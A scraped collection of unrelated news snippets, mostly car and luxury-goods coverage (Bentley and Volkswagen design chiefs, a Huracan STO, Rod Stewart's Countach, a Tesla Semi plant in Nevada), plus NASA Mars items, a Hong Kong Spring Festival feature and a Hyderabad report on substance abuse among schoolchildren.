new role at Bentley starting February 1, 2023. As we previously noted, he is replacing Andreas Mindt, his former boss, who will move to Volkswagen Passenger Cars to be the brand's Head of Design.Before joining Bentley as Head of Design in March 2021, Andreas Mindt was the Head of Exterior Design at Audi AG up until December 2020. He brought 25 years of experience in automotive design with him to the Crewe marque, and it looks like he will do the same (with a bit more experience on top) with the Wolfsburg brand.Back in the day at Audi , Mindt worked on pivotal models for the brand, such as the e-tron, where he was involved with exterior design. Mindt is replacing Jozef Kaban, but it is not clear where the Czech designer is moving from this role.Just a few days ago, we wrote about an alleged design chief change within Volkswagen , and while its motives may still be hidden from public view, it looks like the people who changed jobs are those mentioned in the initial story.
Having arrived on location on Mars in February 2021, the most recent NASA rover on Mars went about its many missions for a while and then, in December last year, started dropping small cylinders in various places on the planet.The rover is not falling apart, but doing this on purpose. The cylinders contain soil samples collected by Perseverance. They will have to be transported back to Earth by a subsequent mission called Mars Sample Return , effectively bringing portions of the Red Planet back to our own so we could have a closer, proper look at whats there.Mars Sample Return is still being planned, and wont happen before very close to the end of the decade, but the American space agency has already started making preparation on where to store, how to handle, and how to disperse the samples around the globe for study.This week, NASA said it has decided on the place that should become the main hub for Martian samples, and thats the Johnson Space Center in Houston, Texas.A so-called Mars Sample Receiving Project office will be created there as part of the Centers Astromaterials Research and Exploration Science division. Thats the organization that has been historically in charge of storing and handling pieces of alien worlds, from as far back as the days of the Apollo program.The place will be tasked with receiving the samples coming from Mars, but also with safely handling and properly distributing them to laboratories across the world for study. In the time left until the samples start getting here, NASA will have to come up with the methods needed to actually recover and transfer the samples, contain and assess them, but also with ways to coordinate the science conducted on them.At the time of writing, the Mars Sample Return mission is scheduled to take off in 2027, when the Earth Return Orbiter will head for the Red Planet. This piece of hardware will remain in orbit.In 2028, the missions lander and ascent vehicle will depart. After arrival they will set down on the surface to collect the samples Perseverance had collected. Once that is done, the ascent vehicle will lift off and meet with the Return Orbiter to transfer the samples and send them back to Earth.All of the above will take quite some time, as the samples of Martian soil are not expected back sooner than 2033.
kW

Assuming that that is indeed a wrap and not the Nero Nemesis paint, it made its way to the entire exterior and has given the Italian supercar looks to die for. The stealthy design is completed, as far as the makeover is concerned, by the HRE wheels. You are looking at the HX1 set, available in 20, 21, and 22 inches, which kind of mirrors the look of the OEM alloys, albeit with a touch of carbon fiber.The Y-spoke set is a two-piece, with forged aluminum centers, joined by high-strength titanium fasteners and carbon lips and barrel with the companys name on them. HRE center caps are also included, and for each wheel, you are looking at a minimum of $6,350. This equals to at least $25,400 for a complete set, or about as much as the used alloys of a Bugatti Veyron . As you can imagine, they are available in multiple hues, and they have been fitted to other rides, most of which do not have blue blood running through their veins.Some of you may be tempted to think that some of that crazy aero also came from the aftermarket world, but youd be wrong, because you are actually looking at the crazy Huracan STO . This version came fitted with that vented hood, lip spoiler, chunkier side skirts, roof scoop, large wing at the back, and generously-sized diffuser straight from the factory. The visual upgrades help improve its aerodynamics and downforce, thus enhancing the driving characteristics of what can only be described as a street-legal Super Trofeo racing car.Power comes from the same engine mounted on every Huracan that has ever left the SantAgata Bolognese factory in Italy, namely a naturally aspirated 5.2-liter V10. The power unit yanks out 640 ps (631 hp/471) at 8,000 rpm, and 565 Nm (417 lb-ft) of torque, transferring it to the rear wheels through a dual-clutch seven-speed automatic transmission. Meeting the Euro 6 emission standards, the V10 engine in the Huracan STO allows it to sprint to 100 kph (62 mph) from rest in just 3.0 seconds. The 200 kph (124 mph) mark is hit in 9.0 seconds after taking off, and if you keep the right pedal pinned to the floor long enough, then it will eventually max out at 310 kph (193 mph).Mind you, the performance might not sound that impressive compared to some other go-fast machines, but as Lamborghini put it not long ago, they are prioritizing handling over making their rides ultra-fast in a straight line.
As such, you could think about all the Japanese mass-market brands and their premium twins (Honda and Acura, Nissan and Infiniti, or Toyota and Lexus) or todays situation with Ford and Lincoln. And for the Ford Mustang, the posher equivalent was the Mercury Cougar Born for the 1967 model year, the nameplate lived across no less than seven generations until 1997 and then had the eighth and final stint between 1999 and 2002. Of course, the companys diehard fans would very much remember the glory of its muscle car days rather than the last moments when it was just a Ford Probe sport compact three-door liftback coupe with front-wheel drive!And there are many reasons for such a desire. There were the looks of the two-door hardtop and convertible original (including the hidden headlights), the association with the Ford Mustang that enabled the use of most of its powertrains, or the exclusivity of V8 potency, from the 289ci Windsor up to the humongous 427 and 428ci FE mills.Oh, and let us not forget about the special editions or cool names for the trims. Chief among them was also the 1969-1970 Mercury Cougar Eliminator, which acted as the brands counterpart for the Ford Mustang Mach 1 and especially the Boss 302. Both the Windsor and Cleveland V8s were offered as standard equipment, depending on the model year, but the Boss 302 engine became the most coveted exclusive perk.Today, most fans will consider this as the proper response to Pontiacs wild GTO The Judge , and many enthusiasts still crave one, even if the Mercury model did not garner the same hype and cult following as its rival. Alas, it was still enough to warrant the attention of the imaginative realm of digital car content creators.Thus, meet Timothy Adry Emmanuel, the virtual artist better known as adry53customs on social media, who continues his lengthy dream ride periplus alongside HotCars, now also with a blown twist. As such, after recently playing with a lot of Blue Oval icons (Ford Mustang Boss 351, Ford Torino Talladega, as well as an Australian Ford Falcon XB), now is the time to switch brands but keep the CGI shenanigans within the same automotive group.Thus, he created for the news outlet an equally bonkers Mercury Cougar Eliminator restomod that would look right at home next to that extreme Falcon XB . This is because his imagined Mercury is equally bonkers, all thanks to the thoroughly slammed attitude, the ultra-widebody aerodynamic treatment, the extreme aero tweaks, or the powertrain assembly. The latter is of the traditionally blown variety and comes complete with humongous side exhausts to show that it clearly means some nasty digital business!
Hidden away beneath the vinyl stickers, these obviously revolve around the front and rear ends. The crossover, which is a less practical yet more expensive take on the Q7 , has new grille, headlights, and bumper with a slightly cleaner design. Dont mind the camouflage on the sides, as it is likely there to trick us into thinking that it will get some updates over there too, which it wont, unless were talking about the chrome strip below the doors.At the back, the bumper looks about the same, and it retains the reflectors too, for now anyway. The diffuser appears to be on the smaller side, and it still incorporates the tailpipes  or the fake trim. The tailgate does not seem to have been updated whatsoever, and it still incorporates the license plate holder, with the four-ring emblem likely sitting above it. One thing that should be new here is the taillight signature, and we can see that they have a different pattern. The models name and the quattro logo should still decorate the tailgate.Audi is believed to upgrade the interior of the crossover coupe too, with emphasis on the infotainment and digital dials, and maybe on the technology, connectivity, and comfort gizmos. The brands rival to the likes of the BMW X6, Mercedes GLE Coupe, Porsche Cayenne Coupe, and Range Rover Sport is also expected to feature new upholstery and trim options, and perhaps other novelties inside. Still, no one who is not directly involved in its development, or who hasnt seen the cockpit in all its glory, can tell you anything about them for the time being.It is possible that the engine options will carry over, though we suspect that Audi could further launch additional partially electrified powertrains, either mild hybrids, plug-in hybrids, or perhaps both. The SQ8 will still be part of the lineup, just the RS Q8, and the latter will still sit at the top of the range in terms of power, performance, and price. The role of the battery-electric variant has already been taken by the Q8 e-tron , so you should not expect a zero-emission Q8, as it wouldnt make any sense.The facelifted Audi Q8 is understood to premiere sometime next year, and by then, the model will be six years old. It is possible that the ones destined for the United States will arrive at dealers as 2025 models, and they should be a bit more expensive than the current one, which starts at $72,800 before destination.
ICE

SUV

EV

As such, incredulous ears have officially heard that 2023 was the final model year of production for the-powered Dodge Charger sedan and Challenger coupe. Of course, fans and collectors alike would be allowed to celebrate the end of the age with no less than seven Last Call special editions for both nameplates. Now, everyone is eagerly awaiting (and secretly afraid of) the springy moment when the final of these limited series will premiere during the Dodge Last Call festival held at Las Vegas Motor Speedway on March 20th.The end is near, but Dodge also hopes the future is bright. As such, back in August 2022, during the ubiquitous Dodge Speed Week, the company also introduced the eager audience to what comes next. That would be a production version of the Dodge Charger Daytona SRT concept, a two-door coupe set on the STLA Large (aka Giorgio Evo) platform and featuring the novel Banshee EV powertrain.The latter is said to come out on top of the ICE members of the Brotherhood of Muscle, aka the Hemi, Hellcat, and Redeye V8 variants, and will feature no less than nine levels of electron-sipping power. Naturally, the company has not wasted any time in showcasing the prototype just about everywhere, all the while slowly revealing more details about the new powertrain, including the ability to splurge from the base 455 hp option to no less than 1,320 ponies with the flagship 800-volt setup.Of course, all this Dodge commotion attracted the attention of everyone, both in the real world, as well as across the imaginative realm of digital car content creators. And speaking of the latter, here is also Mridul Basist, a 22-year-old auto concept and design freelancer better known as bimbledesigns on social media, who continues his recent CGI-commissioned periplus alongside TopSpeed with a Mopar twist.Remember the Dodge Magnum, that nameplate used back during the late 1970s and early 1980s both in North and South America with a two-door layout? Maybe not, but no self-respecting Mopar fan could forget about the Chrysler LX platform-based reinvention of the mid-2000s when the Magnum was revived as a full-size five-door performance station wagon that even had access to the Hemi goodies for a little bit of SRT-8 shenanigans.Now the nameplate is back  albeit only in CGI  and takes the contemporary form of a modern crossover. Of course, given all the Charger Daytona SRT concept design traits, this is obviously something motivated by the Bansheepowertrain, so it is most likely the news outlet , and the pixel master even imagined it as a potential Tesla EV crossover killer.
AMG

The former Victoria's Secret model doesn't just use cars for professional photoshoots. Because she flaunts a lot of them on her social media account, too. While she seems to have a clear preference for classic cars, her collection also includes a few modern ones, and a Mercedes-Benz G-Class is among them.The Swedish models most recent set of pictures, captioned "Cozy Sunday," posted on Sunday, January 22, shows the model with a cozy winter jacket posing next to her dark off-roader. And this isnt the first time this G-Class has made an appearance on her social media, being one of the most recurring vehicles in her photoshoots. And it must be among her favorite rides to drive.The Mercedes-Benz G-Class is a very popular model, especially among celebrities, models, and athletes. Because of its rugged, imposing exterior, premium features, and powerful performance, a lot of them have one in their garage. They usually go for the top-of-the-line version, theG 63, which brings even more power and style.But based on previous pictures she shared with the same off-roader in April last year, the G-Class the model owns is not from the current generation. It seems to be a facelifted 20212 version . Back then, the update included a completely redesigned panel and center console, horizontal LED lights under the headlights, and new rear-view mirrors. It offered a 3.0-liter turbodiesel entry-level variant, while the top version had a 5.5 turbocharged V8 engine under the hood.It's unclear which engine she went for, but it doesn't seem to be the AMG version, but a regular Mercedes-Benz G-Class. And based on the badging on the side, Hosk's comes with a V8, which was reserved for the G 500 (the G 550 in the U.S.). The power unit delivered 382 horsepower (387 ps) at 6,000 revs per minute, with 391 lb-ft (530 Nm) of torque between 2,800 and 4,800 rpm, sent to all wheels via a seven-speed automatic transmission.Not long ago, Elsa Hosk shared a picture showing that she carried her Christmas tree on top of a classic car, a blue Porsche 911 from the O Series. While she could've opted for the off-roader to carry her tree, the Porsche surely fitted the Los Angeles vibe better, where she reportedly spent Christmas.In her collection, the former Victoria's Secret model also has a Cadillac Escalade, a couple more vintage Porsches like a red 944 and a Cayman 987, plus a Lamborghini Murcielago. And that is quite a diverse collection.
The new motor yachts exterior design and naval architecture will be handled by Bill Dixon of British studio Dixon Yacht Design, while interior design will be signed off by Kelly Hoppen. According to Pearl Yachts, the first hull is already under construction, with an anticipated delivery date in 2024.The feature-rich motor yacht is designed to mix appealing aesthetics with high performance, and its creators have envisioned it with features that are new and unseen before in its size class. For instance, Pearl 82 will be the only motor yacht in its class to boast a Raised Pilot House design, with the addition of walkaround decks.Moreover, prospective customers will be able to choose between two aft deck configurations - Riviera or Veranda - and the vessel will also have a main-deck master suite, which is normally a staple of 100-ft-plus models.The Pearl 82 applies our core principles of designing yachts that offer our customers more whilst maintaining style and sophistication. She is the most compact yacht on the market, offering numerous features previously not available in its sector of the market, said Pearl Yachts Managing Director Iain Smallridge.With a noteworthy beam of 208 (6.34 meters), the Pearl 82 will be a high-volume vessel with plenty of interior space. Besides the main deck owners stateroom with access to a private alfresco terrace just forward, the 83-footer will also include five en-suite staterooms that will offer accommodation for up to 10 guests.As mentioned earlier, two aft deck arrangements are possible, each one designed to cater to different owner needs. The Riviera layout has aft-facing sunpads placed behind a table and sofa setup. On the other hand, the Veranda layout is a more versatile option, incorporating pivoting seating so that you can shift from picnic to private patio orientations, with the water in your line of sight.Regardless of the configuration the owner selects, the yacht will also have fold-down bulwarks that open the cockpit and a large garage for storing tenders and water toys.A generous lounging area, a dining area, and a bar can be found forward, while another sunpad and a hot tub are located fully aft.As for the interior space, three design packages will be offered, following the same themes as previous Pearl Yachts projects - Indulgence, Luxury, and Modern. The main saloon of Pearl 82 will boast floor-to-ceiling glass to provide guests with beautiful views of the ocean while inside. To maximize the views, the designers went for cutouts in the bulwarks.
Photo: Remy Dargegen/RM Sotheby's

Photo: Remy Dargegen/RM Sotheby's

Photo: Remy Dargegen/RM Sotheby's

Many important things happened in 1977. Apple Computer Inc. was established, Star Wars came on the silver screen, and the Ford F-150 became the best-selling truck in the U.S. It was about the same time when Rod Stewart launched the "Tonight's the Night (Gonna Be Alright)" song that topped the charts for months in the U.S. and Canada. Meanwhile, he was on tour in Australia, promoting his newest album, "Foot Loose & Fancy Free."Some of Sir Rod Stewart's most famous songs are "The Rhythm of My heart" and "All for love" sung with Sting and Brian Adams in 1993 as part of "The Three Musketeers" soundtrack. But the list is way longer than that. He was also inducted into the "Rock and Roll Hall of Fame" in 1994, and there's a star on Hollywood's Walk of Fame with his name on it.But, like any other rock artist, he couldn't drive just any mundane vehicle he could find at Hertz. Instead, he needed something flashy to stand out from the crowd, so he chose a Lamborghini Countach LP400 "Periscopio." A vehicle that could outrun most of the cars from its era with its 186 mph (300 kph) declared top speed. Some people said that, actually, the car was able to reach up to 200 mph (322 kph).The car came after the Miura , and unlike that first supercar, it featured a longitudinally-mounted V12 engine, still behind the cabin. And that's where the LP letters are coming from "Longitudinale Posteriore." It was introduced at the 1974 Geneva Motor Show, and Lamborghini's booth suddenly became too small for all the people who tried to see the magical car. Unlike the Miura, which was unveiled without an engine, this one featured a V12 in the engine bay.But just like the Miura, the Countach was penned by the same magical hand of Marcello Gandini while he was working at Bertone . Of course, the wedged-shaped vehicle looked completely different from the waved-shaped predecessor. Still, its lines were so beautiful that the car was produced until 1990. It was on the posters of boys' dorms around the world. It was that famous. Nevertheless, it also starred in the "Cannonball Run" movie, albeit in a more powerful version.But the Periscopio was the first batch. Allegedly, there were about 157 units ever made (150 according to other sources), and they were different. The LP500 prototype featured a mirror that allowed the driver to look behind the car through a small window and a tunnel sculptured on the roof. Bob Wallace and Ferruccio Lamborghini liked that, so the production model came fitted with a similar design. However, it was already useless since Gandini had already managed to install a proper (albeit tiny) rear window just in front of the engine cover.Also, from the design point of view, the car showed unique features such as the lift-up doors, which later on became known as "Lambo doors" in car culture. That unusual concept allowed customers to park their vehicles easier just by opening the doors and sitting on the seat's edge while looking behind.Like the Miura, the Countach featured a 3.9-liter V12 fed by six Weber carburetors and developed 375 PS (370 hp), which were sent to the rear wheels via a five-speed, dog-leg gearbox. Another unique feature of the Countach was the transmission, which was mounted between the seats.The car that you see here was owned by Sir Rod Stewart for 25 years, and, as expected, he took good care of it. When he returned to Los Angeles, the car went with him. But the artist wanted something special for his supercar. As a result, he looked around and chose Albert Mdikian Engineering to upgrade the vehicle. Thus, the local shop added a wide body kit and transformed the fixed-roof vehicle into a targa roof. Unfortunately, these modifications are no longer present in the car. Also, compared to many other Lamborghini vehicles, it features some switches marked in English, not Italian.Ten years after the car left the factory from Sant'Agata Bolognese , this red LP400 "Periscopio" arrived in the United Kingdom, where it stayed in Rod Stewart's possession until 2002, when he finally parted with it. The second owner, though, sent the car to a shop for ample work on it. It was then that the car had the steering wheel moved on the left side. In addition, it is believed that the shop also overhauled the engine.Come 2013, the car was sold again via a Paris dealer. But the new owner didn't like the modifications made to this LP400 "Periscopio" and returned it to the original specifications, albeit the steering wheel stayed on the left. At the time of press, this red Lambo was still under work, so the final result will be a wholly overhauled vehicle. Thus, the new (next) owner will have the pleasure of driving this beauty right after they'll buy it.While it is tough to estimate how much the final price will be, it is expected to pass the one-million EUR barrier. So, if you like Rod Stewart's tastes in cars, you may buy one that he owned. And fortunately, you don't have to look through that weird periscope to see what's behind you.
Whats so special about this watch?

Photo: Brabus

But Im not a Boat Guy!

AMG

You can wear just about anything on your wrist, fashion-wise, but if you really want to maintain a certain brand synergy as far as Brabus is concerned, the best place to start would be with Panerai.The Italian luxury watch manufacturer has been working with Brabus since last year, having forged a partnership that resulted in the unveiling of the limited-edition Submersible S Brabus Black Ops Edition  named after the Shadow Black Ops series of dayboatsThat particular timepiece came with a gunmetal gray, black and red color scheme, and in its wake (pun intended), came the Blue Shadow Edition variant (blue accents), followed by the Experience Edition (red accents).Now, however, we have a brand-new version of this watch, dubbed the Verde Militare Edition. It features a more rugged aesthetic, new materials, and a completely reimagined signature design, according to Panerai themselves.By the way, if youre any type of wristwatch aficionado, you probably already know that Panerai makes tremendous timepieces, costing thousands of dollars for a good reason. Sure, it may not be as high-end as say Audemars Piguet or Patek Philippe, but you'd certainly struggle arguing that Panerai isn't every bit as good as Hublot, for example.For starters, availability. Only 200 units are to be made, all featuring a 47 mm Carbotech case, military green accents (on the hands, rehaut, rubberized crown, am/pm indicator, and on the small seconds sub-dial), and a Brabus logo on the movement lever, just so you dont forget who it is that you're "representing".Powering the Panerai Submersible S Brabus Verde Militare Edition is the companys P. 4001/S caliber automatic skeletonized movement, with its three-day power reserve. Other highlights include the anti-clockwise rotating bezel with a graduated scale, the sapphire crystal caseback , and plenty more.Thats perfectly fine. You dont need to be a frequent sailor in order to enjoy luxury dive watches. They go together perfectly with just about any performance-oriented passenger vehicle, and Brabus does offer some fine options for all you land lovers who appreciate a good military-themed accessory.Think of any Brabus 800/900 SUV , from the Mercedes-G 63 to the Mercedes-AMG GLE 63 S, or the Mercedes-AMG GT 63 S-based Brabus Rocket 900  I mean, how can you go wrong? Ideally, though, since this is a rugged-looking watch, you'd probably want a G-Class-based Rocket model to go with it.
Chances are a crewed mission to the Red Planet will take place during our lifetime. It will probably not lead to human habitats in the proper sense being built there anytime soon, but such structures are something NASA and others are considering, nonetheless.Shipping building materials and equipment to Mars is literally impossible to achieve with some degree of effectiveness, so several alternate means are presently being considered. The most appealing seems to be that of using inflatable habitats that can be shipped in packaged form and expand to the desired shape and size right on location.But even these need some kind of other structure to support them, and those generally cant be inflatable, so theyll have to be shipped to Mars in expensive missions as well. But what if there was another way?Congrui Jin, a researcher at the University of Nebraska, Lincoln, thinks there is an alternate solution to the physical structures needed for the deployment of inflatable habitats, and they come in the form of products of certain cyanobacteria and fungi.Congrui Jin calls the idea Biomineralization-Enabled Self-Growing Building Blocks for Habitat Outfitting on Mars, and it was recognized by NASA through one of 14 grants awarded this January as part of the Innovative Advanced Concepts ( NIAC ) program. It basically calls for the replacement of prefabricated outfitting elements with building blocks that can be realized right there on Mars, using the available materials and two types of tiny lifeforms brought from Earth.The cyanobacteria could be used to capture carbon dioxide from the planets atmosphere and turn it into carbonate ions. It could also generate oxygen and organic compounds that would support the second life form involved in the process, filamentous fungi. The fungi are there to bind calcium ions onto fungal cell walls and help with calcium carbonate deposition.But how does that help with building structures on Mars? Well, its quite simple, really. While the bacteria and fungi do their thing, something called synthetic biology toolkits can be used to build a synthetic lichen system. This in turn produces biominerals and biopolymers that effectively glue the Martian regolith into building blocks. These blocks can then be assembled to form various structures, including floors, walls, partitions, and even furniture.Such ideas have been brought forward before, but Congrui Jins solution involves for the first time filamentous fungi as biomineral producers, and that means large amounts of minerals can be produced in a relatively short period of time. Then, none of the solutions proposed so far is fully autonomous, whereas this one is.As with all NIAC ideas, this one too is in its early stages, but research on it will continue. Plans are to make the technique available for use here on Earth as well, either for military or civilian construction needs. The mitigation of the effects of natural disasters is also on the list, and the technique also has an interesting side effect: because it uses the capture of carbon dioxide, it could help our fight to stop climate change.
Photo: SpaceCamper

Photo: SpaceCamper

Photo: SpaceCamper

The idea of a bicycle camper or trailer is not new, and SpaceCamperBike doesnt claim to be the first company to bring it to market. This type of bike-made accessories started gaining in popularity in the first months of the international health crisis in 2020, at about the same time electric bicycles became a fixture on the urban mobility market.As of the time of press, though, bicycle campers and trailers remain a curiosity and a niche product, with the latter due mostly to their prohibitive prices. Whether SpaceCamperBike will be able to outgrow this stage remains to be seen.SpaceCamperBike is the first camper from German company SpaceCamper, designed exclusively for electric bicycles . SpaceCamper is already famous, locally and internationally, for its Volkswagen bus conversions, but turning their attention to the e-bike segment is a step towards the democratization of recreational vehicles  and, according to the company itself, towards the creation of a new type of home office.Ben Wawra, who co-founded SpaceCamper in 2005 and serves as its CEO, lives in one of the companys VW conversions, but hes also an avid cyclist. This is how he came up with the idea to take an electric bicycle and try and convert it into a fully-functional camper that could double as a workstation for todays digital nomads. On considerations of payload, storage space, reliability, and functionality, he opted for a cargo bike.The base of the SpaceCamperBike is a Load 75 cargo bike from the famous manufacturer Riese & Muller. In fact, Markus Riese, the other co-founder of SpaceCamper, is also the founder of Riese & Muller, and he shares Wawras enthusiasm for thinking outside the box and trying to defy the norms in search of the perfect product The SpaceCamperBike is their first effort on two wheels that aims to do both. After one year in development, it was most recently on display at the 2023 Caravaning, Motor, Touristik (CMT) trade show in Stuttgart, Germany, with a press release announcing later that it would become available in the summer of this year. Pricing and an exact timeline are yet to be revealed, but one thing is certain: it wont be cheap, if only considering what the bike is based on.The SpaceCamperBike is a bike camper that makes use of the Load 75s storage space to add extra functionality in camp mode. The cargo bay can become a recliner during the day and a flat-out single-person bed at night, while retaining its hauling functionality in the city  whether for cargo or two kids on the daily school dropoff. The handlebar folds down and you can attach a small table onto it, so that you get a workstation wherever you might be.The camper is designed to offer some protection from the elements, as well. A tarp can be affixed to the frame of the bike just like you would a regular tent, and the rider is protected from the wind or the rain, and can get some privacy as well. The advantage to this setup, in addition to the fact that it deploys in a matter of minutes and is a very smooth process, is that everything remains above the ground: you wont sleep on the wet or cold ground, and wont have to go through the trouble of sticking pegs into the soil, or tying and tensioning ropes.[The] concept includes being functional in everyday work and family life, but at the same time offering fun on camping weekends and adventure holidays, SpaceCamper says. Theres no exaggeration about that, though the degree of comfort with one such camper is only one notch above what the old way of bikepacking delivers.The Load 75 cargo e-bike has been on the market for almost a decade, and is a viable two-wheel replacement for the daily driver. Powered by a Bosch Cargo Line Cruiser motor, it comes with dual 500 Wh batteries, suspension, and optionals like hydraulic braking and off-road tires.The model used for the conversion is the top-of-the-line Load 75, so it includes all the optionals, as well as the Rohloff E-14 Speedhub 500/14, with 14-speed hub gear and belt drive. This model is all about premium components and premium materials, and it comes with a price to match that starts at $15,189  whereas the lesser-specced model goes from $12,389.This is what one pays for the Riese & Mueller bike alone, without any modification and without any of the gear that turns it into a camper slash workstation on weekend trips. Once you factor these in, were probably looking at a two-wheel rig upwards of $18,000. Theres more to it than you might think, Wawra told audiences at the CMT trade fair, perhaps trying to counter anticipated criticism of how this is the kind of money you could pay for a proper car.
Feature: Hong Kong welcomes joyful, bustling Spring Festival

Xinhua) 10:32, January 24, 2023

HONG KONG, Jan. 22 (Xinhua) -- In Sik Sik Yuen Wong Tai Sin Temple, a well-known shrine and tourist attraction in Hong Kong, large crowds came early Sunday morning to pray for blessings.

With the adjustment of the COVID-19 pandemic prevention policy, the streets and lanes of China's Hong Kong Special Administrative Region (HKSAR) during this year's Spring Festival, which falls on Sunday, are filled with a warm and festive atmosphere.

On Lunar New Year's Eve, a large number of people headed to the Wong Tai Sin Temple to take part in a ritual to be the first to offer incense to the temple's deity at the stroke of midnight after a two-year hiatus.

On the first day of the Lunar New Year, a large number of people also came to the temple to worship.

A woman with her surname Wong said, "The temple is filled with a festive atmosphere. I am so happy and blessed."

Affected by the pandemic, the scale of the Lunar New Year Fair in Hong Kong was reduced in the past two years or canceled for a lower risk of crowd gathering.

While this year's fairs were held at 15 locations for seven days from Jan. 16, attracting more than 1.14 million visitors. Jan. 21 was the peak, with more than 100,000 visitors rushing to the fair at Victoria Park on a single day.

Meanwhile, the Hong Kong Well-wishing Festival 2023 at Lam Tsuen in Tai Po, which is noted for its wishing trees, saw the most bustling day of the year.

As one of the most distinct Chinese New Year festivities in Hong Kong, the well-wishing festival, which runs through Feb. 5 from Sunday, has attracted locals and visitors to Lam Tsuen to take part in the traditional celebration by throwing placards onto the wishing tree and lighting wishing lanterns.

"I hope the Hong Kong economy will be better than last year. I hope Hong Kong will be prosperous and everyone here will be happy," said a Hong Kong resident with the surname of Yeung.

Chan Kwok-ki, chief secretary for administration of the HKSAR government, attended the well-wishing festival on Sunday, saying that the event is very meaningful, not only because it has a traditional cultural atmosphere, but also a chance for people to get together.

With the resumption of normal travel between Hong Kong and the Chinese mainland, more mainland tourists came to Hong Kong, adding a lively atmosphere to the Spring Festival.

John Lee, chief executive of the HKSAR, delivered a Lunar New Year message on Saturday, wishing all Hong Kong people a happy, healthy and blessed Year of the Rabbit.

Lunar New Year is the most important festival on the Chinese calendar, Lee said, adding that the rabbit is a symbol of great vitality, so the Lunar New Year is seen as heralding a new start and new hope for Hong Kong.

"Our economy will continue to grow and our tourist attractions will be filled with visitors," he said.

(Web editor: Peng Yukai, Liu Ning)
Experts cite trauma, loneliness, curiosity, peer pressure and a disturbed mindset as key reasons. (DC)

HYDERABAD: Substance abuse among school-going children is on the rise, with the issue especially acute among students of Class 8 and above, say experts.

In one such instance, a 12-year-old student was recently caught consuming balm at a government school in the city. The students mother expressed concern over her inability to stop him, as he also cuts his wrists.

Therapists attributed such behaviour to trauma, loneliness, curiosity, peer pressure and a disturbed mindset. They said that students are not afraid of being caught as they play the victim card.

While government school sources said that students are consuming substances like balms, whitener and glue to get high, private school sources said that chemical drugs packaged like candy and chocolate are being consumed.

V.S. Gideon, a de-addiction therapist, said, "Drugs in the form of beautifully packed toffees, candies and chocolates are being sold and consumed in private schools. Students get away while a check is conducted as they look like candies."

He said that children as young as 11 years are addicted to such drugs and the number only keeps rising.

Gideon cited a case wherein a Class 8 student of a private school was addicted to sniffing petrol. "It all started when she added a few drops to her handkerchief and started sniffing it. The 12-year-old said that by sniffing petrol, she felt lighter, entered a whole new colourful world and liked the trip," Gideon said.

A source said that students have also been caught smoking substances like hookah on the school premises, in some instances. "Several students who are lonely get together and are curious to try such substances, which becomes an addiction," the source said.

Teachers in government schools said that the mental health of their students is affected due to financial constraints their families face, as they dont have an emotional bonding with family members. Further, a lack of counsellors in government schools is also an issue, they said.
EV

BREAKING: Nevada Governor, Joe Lombardo, has announced in his State of the Union address tonight that he will be joining Elon Musk & the team at @Tesla tomorrow to unveil plans to build a new $3.5 billion advanced manufacturing facility in northern Nevada for the @Tesla Semi. pic.twitter.com/lluv86pTHU  Sawyer Merritt (@SawyerMerritt) January 24, 2023

Talks about Teslas next gigafactories are lingering for months, with countries across the globe competing for a location. Nevertheless, the next gigafactories would be closer to home, in Nevada. This information was revealed by Nevada Governor Joe Lombardo in his State of the State address. Tesla will make an official announcement during the Q4 2022 earnings call on Wednesday, and Lombardo will join Elon Musk on stage during the event.I am looking forward to joining Elon Musk and the team at Tesla tomorrow when they unveil plans to build a brand new $3.5 billion advanced manufacturing facility in Northern Nevada for the companys all-electric semi-trucks, Lombardo said in his address.According to the little information we have right now, the new production facility would be huge, considering the $3.5 billion investment planned. The investment aligns with Elon Musks previous announcement during the Q3 2022 earnings call. According to Musk, Tesla aims to have a production capacity of 50,000 Semi trucks per year at the end of 2024. Considering that production ramp-up would take time, 2023 is high time Tesla builds a suitable production facility for the Semi.Nevertheless, Lombardos announcement surprised everyone, showing how well-kept Teslas plans were. Tesla started Semi assembly in a small facility close to Giga Nevada, where it also organized the December 1 Delivery Day . Nevertheless, the initial plans were to mass-produce the electric semi-truck at Giga Texas. People were expected to hear about moving production to Texas anytime soon, but it appears that themaker changed the plans. Now, Tesla looks fully committed to Semi production in Nevada and is building a state-of-the-art production facility for that.Lombardos address did not reveal further details about Teslas plans, but we will find out more soon enough. Nor is it clear whether Nevada promised more incentives to Tesla to build the new gigafactory. In 2014, then-Governor Brian Sandoval wooed Tesla with unprecedented tax incentives estimated at more than $1 billion over 20 years. Teslas investment led to rises in income levels in Northern Nevada, which helped Nevada to weather the pandemic. Tesla was looking to expand its manufacturing footprint in North America, but Nevada was never on the table. Instead, Mexico was on Teslas radar, and previous rumors hinted at advanced discussions with local authorities. Canada was also hopeful that Tesla would consider building a new Gigafactory north of the border, although no hard facts are known about such plans.
BEV

Quoting undisclosed sources, GMAuthority reports that the all-new C9 Corvette is due during the 2028 calendar year, and will launch as a 2029 model. That means that we are still five good years away from seeing the next-gen all-American sports/super model, and a lot can happen until then. For one, they claim that two more versions are bound to be introduced, the twin-turbo ZR1 and the track-focused Zora, and with them, the bowtie brand will have five variants of the Vette in total.Now, back to the next-generation Chevrolet Corvette , it is expected to be underpinned by the same architecture as the current one, albeit with a few revisions. The Y2 will make it compatible with all sorts of powertrains, and purists will be happy to know that it will still feature internal combustion engines. Thats right, the C9 Corvette will continue to be offered with mills powered by dead dinosaurs, though it is unknown yet whether they will be electrified in any way. Nonetheless, we suspect that at least some versions will sport some kind of electrification, which will help keep the emissions in check, and will also improve fuel consumption.Production is understood to still take place at the Bowling Green facility in Kentucky, where the C8 has been coming to life ever since 2020. Additional details surrounding it are unknown at this point, and as anyone can expect, everything should become clearer once the big unveiling date approaches. For now, all we can do is wait for the family to expand with the rumored ZR1 and Zora , and see which one is best suited for everyday driving, with the occasional fun at the local racetrack. And no matter how hot the latter may be, chances are the E-Ray will take on the role of the best Vette to be used as a daily driver  or so we believe anyway.On a final note, the quoted outlet states that the sedan and crossover Corvette-branded vehicles that are in the making will have nothing in common with the C9, and thats because they will sit on GMsPrime platform, an architecture dedicated to electric vehicles, with a clear focus on luxury. Besides these cars, zero-emission models made by Cadillac, as well as an all-quiet premium crossover from Buick, are expected to be built on this construction.
Photo: Sikorsky

Photo: Sikorsky

Photo: Sikorsky

Photo: Sikorsky

Photo: Sikorsky

Photo: Sikorsky

